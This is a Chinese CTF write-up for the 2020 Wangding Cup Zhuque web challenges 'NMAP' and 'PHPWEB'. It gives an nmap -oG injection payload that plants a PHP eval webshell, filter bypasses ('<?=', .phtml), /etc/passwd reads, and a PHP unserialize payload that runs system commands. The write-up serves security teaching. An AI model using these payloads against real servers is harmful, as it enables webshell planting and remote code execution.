2020网鼎杯朱雀组WEB——NMAP&PHPWEB

NMAP

考察的是比较老的知识点了,在BUU出现过的题目,nmap命令行参数注入

详细文章:

https://blog.csdn.net/qq_26406447/article/details/100711933

访问题目,发现我们可以输入url,经过nmap扫描后会返回出结果,这里引入nmap命令中的一个参数

image.png-26.5kB

-oG #可以实现将命令和结果写到文件

源码大概的构造:

echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

我们可以通过这种思路,拼接单引号,达到控制参数的目的,从而将我们构造的shell写入文件中

直接使用BUU题目中的payload进行测试

' <?php @eval($_POST["hack"]);?> -oG hack.php '

image.png-27.5kB

提示我们Hacker,应该存在黑名单,fuzz发现,php被过滤了,我们再次构造一下代码

' <?= @eval($_POST["pd"]);?> -oG pd.phtml '

这里使用“=”绕过文件中的php字符,使用“phtml”绕过对“php”文件后缀的检测,再次输入

image.png-28.8kB

image.png-31.7kB

没有提示其他黑名单信息,尝试访问我们构造的页面pd.phtml,构造shell

image.png-117.3kB

成功执行代码命令,获取flag

image.png-90kB

PHPWEB

进入题目,发现右上角有时间显示,看一下POST数据包

image.png-277.6kB

发现传输了两个参数,抓包看一下

image.png-12.1kB

我们发现func参数调用了函数date(),p参数调用了函数date中填写的时间格式,我们尝试构造一下,查看能否代码执行,首先尝试读取index.php的文件

readfile("index.php");

我们构造如下语句

func=readfile&p=index.php

发现成功读取源码

image.png-36.7kB

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    }else {
        die("Hacker...");
    }
}
?>

审计一下代码,发现过滤了很多函数,但是不影响我们读取文件,同时我们发现,存在魔法函数,我们也可以通过构造反序列化代码,来达到绕过黑名单,执行system等函数的目的,尝试目录穿越读取文件

image.png-15.3kB

发现可以直接读取/etc/passwd下文件,但是在读取根目录下flag时,无法读出,猜测flag存在其他目录,或者flag非正常名称,我们需要构造系统命令进行目录查看,这是我们可以构造反序列化代码,在搜索tmp目录下是发现flag文件

payload:

class Test {
    public $p = "ls /tmp";
    public $func = "system";
}
$c=new Test();
$d=serialize($c);
echo $d;
O:4:"Test":2:{s:1:"p";s:7:"ls /tmp";s:4:"func";s:6:"system";}

构造传输代码:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:7:"ls /tmp";s:4:"func";s:6:"system";}

即可发现目录下flag文件

image.png-33.7kB

使用readfile读取文件,即可获取flag

image.png-43.1kB


  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值